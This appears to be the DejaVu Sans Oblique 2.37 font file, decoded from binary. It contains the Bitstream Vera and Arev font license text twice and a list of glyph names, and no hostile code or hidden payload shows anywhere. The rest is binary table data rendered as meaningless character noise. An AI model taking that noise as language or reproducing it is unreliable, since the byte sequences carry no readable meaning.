�d��,XX���(�����h|���8Xt�����,��,Hd|�����@P`p�8HX���� ��@��� 8Ph�t�T,��t��$4� �� � �!<!�"4"�"�#h#�#�#�#�#�$$$�%h%�%�&&�''�($(�) )�)�*,*�*�+D+�,|--�-�.|/x/�0x1,1�2�3H3�3�4d4�4�555�666$646x6�7H7X7p7�7�7�808H8�8�8�8�8�9t9�:@:X:p:�:�:�;0;@;d;�;�<4<�<�==H=�=�=�=�=�=�>>>`>�??8?�?�@@h@�@�A<A�B4BDB�C`C�C�C�DLD�D�EELE�E�FFFDFTFdF�F�G`GpG�G�H$HdH�H�I$I�JJdJ|J�KKK�K�K�K�K�L@L�MM$M<MTM�NHNXN�O0O�P<P�P�Q$Q�Q�RlR�S�T�U�U�VXVhVxV�WW(W@W�X�Y�Z�Z�Z�Z�[[�[�\<\�]]H]t]�_@```4`�a a�bbHbpb�b�cdc�d8d�d�d�ee`e�ffXf�f�g4gxg�g�h8h�i$i�j�j�j�j�k$k4kdk�k�lDl�l�mmdm�nnhn�n�oxp$p�q�q�q�q�rDr�ss\s�s�t@t�t�u(uxu�u�u�vv v8vHvXvpv�v�v�v�v�v�ww w8wHwXwpw�w�w�w�w�w�xx x8xPxhx�x�x�x�x�x�yy(yXy�y�y�zzxz�{8{�{�|<|�}P}�~������0�����8����t�������\��� �����l���|����������h������������x���T�������� ���D�����(���8���h���@���@���,�����`��t�������������\�������������4�H�����p���@������������0�|���(�������4���D�T���4�D���d�0���������������$�4���@�h��������H�d�|�������� �@�\�x����������,�l����`�����0�P�����4�T������\�����4�����0�����D�|���8����������0���t�4��x����t�����8���`���`�T���p��d�Ŭ�X��Ǹ�t�$���xʔ��\�t���l����x���X�τϜ�(Ф� ����x��L�`Ӝ�Ԕ�լ�8��׸�D�X�������Lܠ��x���(ޔ��,ߘ�����x��� ����0��L����$����L���(����4����H�������L���d��8��,�x�����d���<��,����`�(���t��t���L���`���<���P���(���@���@���,����� �P�h�x��������8Ph������(@Xp�����8X��$l���4\t������8Ph�����$<Tl������,Xt��$<����	$	<	T	l	�	�	�	�	�	�

,
D
\
t
�
�
�
�,D��0���

4
L
d
|
�
�
�
�
�$<Tl���l����$d|���,D\t�����4Ld|���4Xp����,D\t�����4Ld|��,��4L���h������(��L���`x���$<Tl������,D��Tl���,D\t�����   4 L d | � �!h!�""�"�#P#h$$$$<$T$l$�$�$�$�$�$�%%,%D%\%t&&8&P&�&�&�&�&�'('@'X'p'�'�'�'�'�(((0(H(`(x(�(�(�(�)$)p)�**$*p*�*�*�+4+�+�+�+�,,\,�-$-<-�-�.`.x///0/H/�0\11�2h2�2�3L3d4$4<4T4l4�5x5�66�6�77,7�7�7�7�7�88$8<8T8l8�8�949�9�9�::,:D:\:t:�;;�< <8<�<�<�<�=D=�=�=�>(>@>�>�>�?T?�@@4@�@�@�AA A8APAhA�A�A�B(CC�C�C�DLD�EEHE�E�E�E�E�FFFtF�GlH0HlH�H�IhI�I�J,JxJ�KdKtK�K�K�LL LLL\L�L�MM\M�N4NhN�OOLOhO�O�O�P4PdP�QQ�R R�R�SSLS�TdT�U�VV�WWpXX�YHYpY�Z4Z�[[l[�[�\T\�\�]H]�]�^`^�_8_�` `4`H`\`p`�`�aaa,a�a�bb�b�c`c�dTd�e�e�f(f�ggLg�g�g�h\h�h�ii�j8j�kkDk�l\mmlm�nHn�oo�o�o�p8p�qq|q�q�q�rr8rhr�r�r�r�r�r�ss(s@sXsps�s�s�s�s�ttt0tHt`txt�t�t�t�t�uu(uHu`uxu�u�u�u�u�vv v8vPvhv�v�v�v�v�v�ww(w@wXwpw�w�w�w�w�xx x8xPxhx�x�x�x�x�x�yy(y@yXypy�y�y�y�y�zzz0zHz`zxz�z�z�z�z�{{ {8{P{h{�{�{�{�{�|| |8|P|h|�|�|�|�|�|�}}(}@}X}p}�}�}�}�}�~~~0~H~`~x~�~�~�~�~� 8Ph��������(�@�X�p�������������0�����|�������������4�L�d�|������������$�<�T�l��������������,�D�\�t�������������4�L�d�|������������$�<�T�l��������������,�D�\�t�������������4�L�d�|������������$�<�T�l�������������0�x������������ �8�P�h�������������4�L�d�|�����������8�P�h��������������0�L�d�������������4�L�d�|�����������8�T�p�������������0�L�d��������������,�D�\�x������������(�@�X�p������������(�D�`�x���������������(�@�P�h�x������������ �8�P�h��������������(�@�X�p�������������0�H�`�x������������ �8�P�h��������������(�@�X�p�������������� �0�\�l��������������(�D�T�l�������������(�@�X�p�������������0�@�X�p��������������0�@�P�h�������������� �8�H�p�p�p�p�p�p�p�p�p�p�p�p�p�p�p�p�p������D�x�������T��� �D����x���@��X�t�����\�x�x�x�x�x�x�x�x�x������(�H�d�|������L�|����0�h���������������$�@�t������0�`�x������h����(�p�����0������������������p������������,�`�|����� �l���������������� �4�H�\�p����������������$�8�L�`�t��������|���<���d�l�L��lÄĠ���P����l�Ɉ�4���ː��ȟ̬����4�xͰΜϘ��(�P� �������\�L՜լ�ָ�L�,ج�8�|����x��܈ݠޜ�L�d������<�������������`�������L��������H���d����L���@�h�����l�������$�L�l����������,�L�l������������,�D�T�l������������$�4�D�T�d�|�����������$�<�L�d�����������P���������\�|�,�����<\���@���(t�X��(d��0�<		�
�8���(`��
T
�|$��@h���8T��,t����<|��X��4t��4��D��,x�<��D��\�(��@���� 8 | �! !x!�"D"x"�"�#8#�$,$`$�%�%�&&h''d'�(p(�(�)0)X)�**T*�*�+$+p+�+�+�,�,�-�.@.`.�/0/�/�0d0�1P1|1�1�2$2t2�2�3�4�6�7l8T9@9d9�9�9�9�::L:l:�;,;�;�<P<�==�>>x??�@�A<A�B�CHC�D\D�D�EE(EHElE�E�FTF�F�G GlG�H�II�J0JdJ�KK�L$LlL�MMxM�NN�N�OLO�PPxP�QtR(R�S ShS�T|T�T�UDU�V$V�W W�W�XX�X�YHY�ZZ�[[l[�\\|\�\�]]4]\]�^L__�`�a@b(cc�d�eTe�f�f�ggXg�g�hDh�i<i�jpkk\k�llxl�m�m�m�nnPn�oxo�p pDpxp�p�q8qhq�q�r$r�r�r�ss�s�ttHttt�uu@uxu�v�v�wpw�x0xhx�yydy�zzHz�z�{({�|P|�} }l}�~0~�0���h���L�p�������L����$�����l���L���������������(�T�l������8�\��������� �@����������� �@�����<�t���@���d���������P������4�l��������4�X�|�������D�|�����(�\�x���������,�����D�H���h�t���P�L��� �<�X�t�������4�p�����0�|��������0�T�x��������(�H�h���������(�T�|������(�P�|������,�T�|�������$�P�|������� �H�p������� �T�������$�X������8�l������<�`��������4�`��������L�x������0�d������<�p������Tˆ¸��@Ä����@�pĠ�����8�T�pŌŨ������ �H�lƔƨ�������4�P�lLjǤ������0�L�`�,��ˬ��������<�X�|̴̠������8͌ͤ��\Ϙ� Ш�h҄Ұ�����@�`ӔӰ������8�dԀԬ������<�XՄՠ������0�\�|ְ��ׄ���@�8��ڨ���<۔���Lܴ��,�Tݐ��\ް����4�dߨ����$�<�T�������D����� �����L����������0�L�x��������t���`���X�$���T���4���$����h�d���|�p8��8�
�4`�d�<�P��X���� @`����p�   �!h!�"H"�##h#�$�%%�&&x'0'�(�),)�* *�+�,-4/`/�1203D4�5�6P77�8x8�9�9�:x;@;�;�<�=�>>l>�?0?�?�@`A BDD�FG8H(I<J`K@LMNHO�P�Q0Q�RXSTT�VW�XtY0Y�Z$ZHZ�Z�Z�Z�Z�[L[�\]]�^�_x_�`�a�cpe�g�g�hh�h�i�j�k�l mn@o8p,p�qLrs`t�vXv�wwpw�x x�x�y`y�zp{P|d}�~l�0�����H�����$���|��L�L�x�`���L�����4����t�����(�X���8� ���t��������H���H�����$��������H�������`��� ������������l�h�����à�t��x���<ˈ���`���4Μ���8�Tϔ���l��Ҥ�x���tՔ�x���Tא����$�L�xؠ����$و��t� �`���ߔ��T���T�8�\��������L�|�����P���x�d�P�(�X�������������T������0�P�����$�T�����8�����$�|���H��D���$��Ht�D�0l��		0	H	`	�

���
<
�L��$`��||�����0D`|���0D`|���0Lp���<p����� Dp���$P|���@d���@l��4p����� Dp���$P|���@d���@l��4p���  $ P | � �!!,!`!�!�!�"0"T"�"�"�##@#t#�#�$$D$�$�$�%,%p%�%�%�%�%�& &D&p&�&�&�''$'P'|'�'�'�((@(d(�(�(�))@)l)�)�**4*p*�*�*�++$+P+|+�+�,,,,`,�,�,�-0-T-�-�-�..@.t.�.�//D/�/�/�0,0p0�0�0�11$1P1|1�1�22,2`2�2�2�303T3�3�3�44@4t4�4�55D5�5�5�6,6p6�6�6�7 7L7�7�7�88P8�8�8�909l9�9�::D:�:�:�;,;p;�;�<<`<�<�=$=p=�>>P>�?`@(@�A�A�B4BpB�B�CC4ChC�C�D(D�E�F�F�GHG�H`I$JJ�KHLL�M|NXN�O�PDP�P�QQ$QDQ�Q�Q�Q�RRR0RHSS�T8T�ULVVlV�WLW�X\X�YHY�ZZxZ�Z�[[ [d[�[�\D\�]@]�^p^�_<_�_�`D`�`�ada�b�c�dpe@e�e�ffdf�f�gPgxg�g�g�h hLhxh�h�iiTi�i�i�jjDjlj�j�j�k,k�k�l8l|l�l�mm0mlm�nnxn�opp8p�p�qqTq�q�rrtr�ss�s�tDt�uu<uhu�vHv�www@xxlx�yLy�zdz�{{�||L|�}(}�~~|~�,���H���X�����<�����D��������@����`��������4�X�|�����<�T�l��������������,�D�\�t�������������4�L�d�|������������$�<�T�l��������������,�D�\�t�������������4�L�d�|������������$�<�L�\�����������L�\�l�|�����������������h�x�������������������������$�p��������4�L���������,�<�L��������L���,���4�����(�l�������\��������@�����,������������H�t������� �L�t��������0�`��������L�������D���4�����X�����������h�������T���P���T�d�t����D�p�����d�����X���`�����d���p��|��8�\����,�X�|�����0�p���l�<����t���������,�����|������L�h��������4�X�|¤¸�������0�D�lÀÔèü�������0�LĨ�Ŝ�Pƴ�0���PȰ� ���\���L��$��ʹ�$���X��p���l��`���d��H���\���T���`�؜�|���@ڸ��|���Pܼ�4ݬ��h���T���t������,��@���h�����H��� ���p�4��0�p����L�t���$�T����H�t���������,�D�\�t��������������$�<�<�T�T�l������������������,�D�\�t��������������������D�p������������@�l����8�l���L�h������D���8�����0������ d�(�P|��D|����0X���(Px���Dp���8d���0X����	$	P	x	�	�	�

D
l
�
�
�8`���0X����
$
L
t
�
�
�@h���8`���,T����D�@��H��D�<���(|�h|���4l�X�� L �!d!�"4"p"�#$#t#�#�#�#�#�$$$($8$H$X$h$x$�$�$�$�$�$�$�$�%%%(%8%H%X%h%x%�%�%�%�%�%�%�%�&&&(&8&H&X&h&x&�&�&�&�&�&�&�&�'d'�(4(�))�**L+(+�+�,,�-P.L/�12�343�4�6,7�9d;X<=>L?�AxCtE�F�G�I`KMOTQ�R�TpV0X,Zh\�_�ab�d�gi�l@o4p�r�uDw�z�}������,���d�`������H���@���x�l�(�$�`��������������<�8�t������L�H���������������<�0����D��ό�|լ���נ؜�\�H�`��@�T�D�����l�$�������T����0�����(����8����`�h�P����H�������������������DP ���(��	T	�

x�h����H(�(�� �!�"�#p$($�%|&p'('�(�)�*�+�,p-H..�/�123H4X5,66�7�9�:�;�<�>>�?�@�B�C�E@F`G4G�H�KM�O�RT8VxX�Z�\H]]8^^�_�`daa�a�bXb�cc8c�c�dd,dHddd�d�d�d�d�ee(eDe`e|e�e�e�e�ff$f@f\fxf�f�f�gg gLg�g�g�g�h0hLh�iidi�i�i�jj@jdj�j�j�j�k$khk�l(l�m�n�N+h@
>�2��/k��Q
�(�4;�<<	0	�	�	&	&C		$�	"�	:	
%:o	h;I	;�	<Copyright (c) 2003 by Bitstream, Inc. All Rights Reserved.
Copyright (c) 2006 by Tavmjong Bah. All Rights Reserved.
DejaVu changes are in public domain
Copyright (c) 2003 by Bitstream, Inc. All Rights Reserved.
Copyright (c) 2006 by Tavmjong Bah. All Rights Reserved.
DejaVu changes are in public domain
DejaVu SansDejaVu SansObliqueObliqueDejaVu Sans ObliqueDejaVu Sans ObliqueDejaVu Sans ObliqueDejaVu Sans ObliqueVersion 2.37Version 2.37DejaVuSans-ObliqueDejaVuSans-ObliqueDejaVu fonts teamDejaVu fonts teamhttp://dejavu.sourceforge.nethttp://dejavu.sourceforge.netFonts are (c) Bitstream (see below). DejaVu changes are in public domain. Glyphs imported from Arev fonts are (c) Tavmjung Bah (see below)

Bitstream Vera Fonts Copyright
------------------------------

Copyright (c) 2003 by Bitstream, Inc. All Rights Reserved. Bitstream Vera is
a trademark of Bitstream, Inc.

Permission is hereby granted, free of charge, to any person obtaining a copy
of the fonts accompanying this license ("Fonts") and associated
documentation files (the "Font Software"), to reproduce and distribute the
Font Software, including without limitation the rights to use, copy, merge,
publish, distribute, and/or sell copies of the Font Software, and to permit
persons to whom the Font Software is furnished to do so, subject to the
following conditions:

The above copyright and trademark notices and this permission notice shall
be included in all copies of one or more of the Font Software typefaces.

The Font Software may be modified, altered, or added to, and in particular
the designs of glyphs or characters in the Fonts may be modified and
additional glyphs or characters may be added to the Fonts, only if the fonts
are renamed to names not containing either the words "Bitstream" or the word
"Vera".

This License becomes null and void to the extent applicable to Fonts or Font
Software that has been modified and is distributed under the "Bitstream
Vera" names.

The Font Software may be sold as part of a larger software package but no
copy of one or more of the Font Software typefaces may be sold by itself.

THE FONT SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT OF COPYRIGHT, PATENT,
TRADEMARK, OR OTHER RIGHT. IN NO EVENT SHALL BITSTREAM OR THE GNOME
FOUNDATION BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, INCLUDING
ANY GENERAL, SPECIAL, INDIRECT, INCIDENTAL, OR CONSEQUENTIAL DAMAGES,
WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF
THE USE OR INABILITY TO USE THE FONT SOFTWARE OR FROM OTHER DEALINGS IN THE
FONT SOFTWARE.

Except as contained in this notice, the names of Gnome, the Gnome
Foundation, and Bitstream Inc., shall not be used in advertising or
otherwise to promote the sale, use or other dealings in this Font Software
without prior written authorization from the Gnome Foundation or Bitstream
Inc., respectively. For further information, contact: fonts at gnome dot
org. 

Arev Fonts Copyright
------------------------------

Copyright (c) 2006 by Tavmjong Bah. All Rights Reserved.

Permission is hereby granted, free of charge, to any person obtaining
a copy of the fonts accompanying this license ("Fonts") and
associated documentation files (the "Font Software"), to reproduce
and distribute the modifications to the Bitstream Vera Font Software,
including without limitation the rights to use, copy, merge, publish,
distribute, and/or sell copies of the Font Software, and to permit
persons to whom the Font Software is furnished to do so, subject to
the following conditions:

The above copyright and trademark notices and this permission notice
shall be included in all copies of one or more of the Font Software
typefaces.

The Font Software may be modified, altered, or added to, and in
particular the designs of glyphs or characters in the Fonts may be
modified and additional glyphs or characters may be added to the
Fonts, only if the fonts are renamed to names not containing either
the words "Tavmjong Bah" or the word "Arev".

This License becomes null and void to the extent applicable to Fonts
or Font Software that has been modified and is distributed under the 
"Tavmjong Bah Arev" names.

The Font Software may be sold as part of a larger software package but
no copy of one or more of the Font Software typefaces may be sold by
itself.

THE FONT SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTIES OF
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT
OF COPYRIGHT, PATENT, TRADEMARK, OR OTHER RIGHT. IN NO EVENT SHALL
TAVMJONG BAH BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,
INCLUDING ANY GENERAL, SPECIAL, INDIRECT, INCIDENTAL, OR CONSEQUENTIAL
DAMAGES, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
FROM, OUT OF THE USE OR INABILITY TO USE THE FONT SOFTWARE OR FROM
OTHER DEALINGS IN THE FONT SOFTWARE.

Except as contained in this notice, the name of Tavmjong Bah shall not
be used in advertising or otherwise to promote the sale, use or other
dealings in this Font Software without prior written authorization
from Tavmjong Bah. For further information, contact: tavmjong @ free
. fr.Fonts are (c) Bitstream (see below). DejaVu changes are in public domain. Glyphs imported from Arev fonts are (c) Tavmjung Bah (see below)

Bitstream Vera Fonts Copyright
------------------------------

Copyright (c) 2003 by Bitstream, Inc. All Rights Reserved. Bitstream Vera is
a trademark of Bitstream, Inc.

Permission is hereby granted, free of charge, to any person obtaining a copy
of the fonts accompanying this license ("Fonts") and associated
documentation files (the "Font Software"), to reproduce and distribute the
Font Software, including without limitation the rights to use, copy, merge,
publish, distribute, and/or sell copies of the Font Software, and to permit
persons to whom the Font Software is furnished to do so, subject to the
following conditions:

The above copyright and trademark notices and this permission notice shall
be included in all copies of one or more of the Font Software typefaces.

The Font Software may be modified, altered, or added to, and in particular
the designs of glyphs or characters in the Fonts may be modified and
additional glyphs or characters may be added to the Fonts, only if the fonts
are renamed to names not containing either the words "Bitstream" or the word
"Vera".

This License becomes null and void to the extent applicable to Fonts or Font
Software that has been modified and is distributed under the "Bitstream
Vera" names.

The Font Software may be sold as part of a larger software package but no
copy of one or more of the Font Software typefaces may be sold by itself.

THE FONT SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT OF COPYRIGHT, PATENT,
TRADEMARK, OR OTHER RIGHT. IN NO EVENT SHALL BITSTREAM OR THE GNOME
FOUNDATION BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, INCLUDING
ANY GENERAL, SPECIAL, INDIRECT, INCIDENTAL, OR CONSEQUENTIAL DAMAGES,
WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF
THE USE OR INABILITY TO USE THE FONT SOFTWARE OR FROM OTHER DEALINGS IN THE
FONT SOFTWARE.

Except as contained in this notice, the names of Gnome, the Gnome
Foundation, and Bitstream Inc., shall not be used in advertising or
otherwise to promote the sale, use or other dealings in this Font Software
without prior written authorization from the Gnome Foundation or Bitstream
Inc., respectively. For further information, contact: fonts at gnome dot
org. 

Arev Fonts Copyright
------------------------------

Copyright (c) 2006 by Tavmjong Bah. All Rights Reserved.

Permission is hereby granted, free of charge, to any person obtaining
a copy of the fonts accompanying this license ("Fonts") and
associated documentation files (the "Font Software"), to reproduce
and distribute the modifications to the Bitstream Vera Font Software,
including without limitation the rights to use, copy, merge, publish,
distribute, and/or sell copies of the Font Software, and to permit
persons to whom the Font Software is furnished to do so, subject to
the following conditions:

The above copyright and trademark notices and this permission notice
shall be included in all copies of one or more of the Font Software
typefaces.

The Font Software may be modified, altered, or added to, and in
particular the designs of glyphs or characters in the Fonts may be
modified and additional glyphs or characters may be added to the
Fonts, only if the fonts are renamed to names not containing either
the words "Tavmjong Bah" or the word "Arev".

This License becomes null and void to the extent applicable to Fonts
or Font Software that has been modified and is distributed under the 
"Tavmjong Bah Arev" names.

The Font Software may be sold as part of a larger software package but
no copy of one or more of the Font Software typefaces may be sold by
itself.

THE FONT SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTIES OF
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT
OF COPYRIGHT, PATENT, TRADEMARK, OR OTHER RIGHT. IN NO EVENT SHALL
TAVMJONG BAH BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,
INCLUDING ANY GENERAL, SPECIAL, INDIRECT, INCIDENTAL, OR CONSEQUENTIAL
DAMAGES, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
FROM, OUT OF THE USE OR INABILITY TO USE THE FONT SOFTWARE OR FROM
OTHER DEALINGS IN THE FONT SOFTWARE.

Except as contained in this notice, the name of Tavmjong Bah shall not
be used in advertising or otherwise to promote the sale, use or other
dealings in this Font Software without prior written authorization
from Tavmjong Bah. For further information, contact: tavmjong @ free
. fr.http://dejavu.sourceforge.net/wiki/index.php/Licensehttp://dejavu.sourceforge.net/wiki/index.php/LicenseDejaVu SansDejaVu SansObliqueOblique���~Z�	

 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`a�����������������������������������bc�d�e�������f����g�����h���jikmln�oqprsutvw�xzy{}|��~�������	
�
�� !"#$%&'()*+��,-./0123456789:��;<=>?@ABCDEFGHI��JKLMNOPQRS����TUVWXYZ[\]^_`abcdefghi�jklm��nopqrstuvwxyz{|}~���������������������������������������������������������������������������������������������������������������������������������	

 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~����������������������������������������������������������������������������������������������������������������������������������������	

 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`a�bcdefghijklmnopqrstuvw�xyz{|}~��������������������������������������������������������������������������������������������������������������������������������	

 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~��������������������������������������������������������������������������������������������������������������������������������	

 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~��������������������������������������������������������������������������������������������������������������������������������	

 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~��������������������������������������������������������������������������������������������������������������������������������	

 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~��������������������������������������������������������������������������������������������������������������������������������	

 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~��������������������������������������������������������������������������������������������������������������������������������												
			
																			 	!	"	#	$	%	&	'	(	)	*	+	,	-	.	/	0	1	2	3	4	5	6	7	8	9	:	;	<	=	>	?	@	A	B	C	D	E	F	G	H	I	J	K	L	M	N	O	P	Q	R	S	T	U	V	W	X	Y	Z	[	\	]	^	_	`	a	b	c	d	e	f	g	h	i	j	k	l	m	n	o	p	q	r	s	t	u	v	w	x	y	z	{	|	}	~		�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�









	






















��
 
!
"���
#���
$���
%
&
'�
(
)
*
+
,
-
.
/
0�
1
2
3
4
5
6
7
8��
9
:
;
<
=
>
?
@
A�
B
C
D
E
F
G
H
I
J
K
L
M
N
O
P
Q
R
S
T
U
V
W
X
Y
Z
[
\
]
^
_
`
a
b
c
d
e
f
g
h
i
j
k
l
m
n
o
p
q
r
s
t
u
v
w
x
y
z
{
|
}
~

�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
��
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
��
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�	

 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~��������������������������������������������������������������������������������������������������������������������������������������������	

 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~��������������������������������������������������������������������������������������������������������������������������������









	























 
!
"
#
$
%
&
'
(
)
*
+
,
-
.
/
0
1
2
3
4
5
6
7
8
9
:
;
<
=
>
?
@
A
B
C
D
E
F
G
H
I
J
K
L
M
N
O
P
Q
R
S
T
U
V
W
X
Y
Z
[
\
]
^
_
`
a
b
c
d
e
f
g
h
i
j
k
l
m
n
o
p
q
r
s
t
u
v
w
x
y
z
{
|
}
~

�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
��
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�	

 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~��������������������������������������������������������������������������������������������������������������������������������	

 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~��������������������������������������������������������������������������������������������������������������������������������	

 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~��������������������������������������������������������������������������������������������������������������������������������	

 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~��������������������������������������������������������������������������������������������������������������������������������	

 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~����������������������������������������������������������������������������������������������������������������������������������	

 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~��������������������������������������������������������������������������������������������������������������������������������	

 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~������������������������������������������������������������������������������������������������������������	sfthyphenAmacronamacronAbreveabreveAogonekaogonekCcircumflexccircumflex
Cdotaccent
cdotaccentDcarondcaronDcroatEmacronemacronEbreveebreve
Edotaccent
edotaccentEogonekeogonekEcaronecaronGcircumflexgcircumflex
Gdotaccent
gdotaccentGcommaaccentgcommaaccentHcircumflexhcircumflexHbarhbarItildeitildeImacronimacronIbreveibreveIogonekiogonekIJijJcircumflexjcircumflexKcommaaccentkcommaaccentkgreenlandicLacutelacuteLcommaaccentlcommaaccentLcaronlcaronLdotldotNacutenacuteNcommaaccentncommaaccentNcaronncaronnapostropheEngengOmacronomacronObreveobreve
Ohungarumlaut
ohungarumlautRacuteracuteRcommaaccentrcommaaccentRcaronrcaronSacutesacuteScircumflexscircumflexTcommaaccenttcommaaccentTcarontcaronTbartbarUtildeutildeUmacronumacronUbreveubreveUringuring
Uhungarumlaut
uhungarumlautUogonekuogonekWcircumflexwcircumflexYcircumflexycircumflexZacutezacute
Zdotaccent
zdotaccentlongsuni0180uni0181uni0182uni0183uni0184uni0185uni0186uni0187uni0188uni0189uni018Auni018Buni018Cuni018Duni018Euni018Funi0190uni0191uni0193uni0194uni0195uni0196uni0197uni0198uni0199uni019Auni019Buni019Cuni019Duni019Euni019FOhornohornuni01A2uni01A3uni01A4uni01A5uni01A6uni01A7uni01A8uni01A9uni01AAuni01ABuni01ACuni01ADuni01AEUhornuhornuni01B1uni01B2uni01B3uni01B4uni01B5uni01B6uni01B7uni01B8uni01B9uni01BAuni01BBuni01BCuni01BDuni01BEuni01BFuni01C0uni01C1uni01C2uni01C3uni01C4uni01C5uni01C6uni01C7uni01C8uni01C9uni01CAuni01CBuni01CCuni01CDuni01CEuni01CFuni01D0uni01D1uni01D2uni01D3uni01D4uni01D5uni01D6uni01D7uni01D8uni01D9uni01DAuni01DBuni01DCuni01DDuni01DEuni01DFuni01E0uni01E1uni01E2uni01E3uni01E4uni01E5Gcarongcaronuni01E8uni01E9uni01EAuni01EBuni01ECuni01EDuni01EEuni01EFuni01F0uni01F1uni01F2uni01F3uni01F4uni01F5uni01F6uni01F7uni01F8uni01F9
Aringacute
